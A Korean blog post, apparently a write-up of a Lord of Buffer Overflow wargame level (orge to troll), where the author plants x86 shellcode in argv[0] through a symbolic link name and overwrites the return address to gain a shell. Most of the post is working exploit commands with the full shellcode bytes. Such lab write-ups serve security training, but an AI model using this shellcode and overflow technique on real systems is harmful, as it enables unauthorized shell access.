먼저 코드를 봅시다,
argv[2] 금지, buffer, argv[1] 초기화
즉, buffer 과 argv 를 이용해서 shellcode를 올릴수 없다는 이야기입니다,,,
하지만 우리는 저번에 문제를 풀었던 심볼릭 링크를 이용해서 argv[0]에 shellcode 를 넣을수 있습니다.
저번처럼 맨 마지막에
printf ("%p\n", argv[0]);
을 추가해 줍니다.
그리고 심볼릭 링크를 걸어줍시다.
ln -s exp `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
그리고 실행시켜 보면
0xbffff95b 가 나오는데 이것이 argv[0]의 주소입니다.
그러므로
./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44 + "\x5b\xf9\xff\xbf"'`
이렇게 실행하면 exp의 쉘이 따집니다 !
그럼 troll을 공격해봅시다.
exp에 걸린 심볼릭 링크를 삭제해주고
rm -f `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
troll 로 다시 심볼릭 링크를 걸어줍시다.
ln -s troll `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
그리고 공격 !
./`python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44 + "\x5b\xf9\xff\xbf"'`
클리어!
'Pwnable > LOB' 카테고리의 다른 글
[Level10] vampire -> skeleton (0) | 2017.05.17 |
---|---|
[Level9] troll -> vampire (0) | 2017.05.17 |
[Level7] darkelf -> orge (0) | 2017.05.17 |
[Level6] wolfman -> darkelf (0) | 2017.05.17 |
[Level5] orc -> wolfman (0) | 2017.05.17 |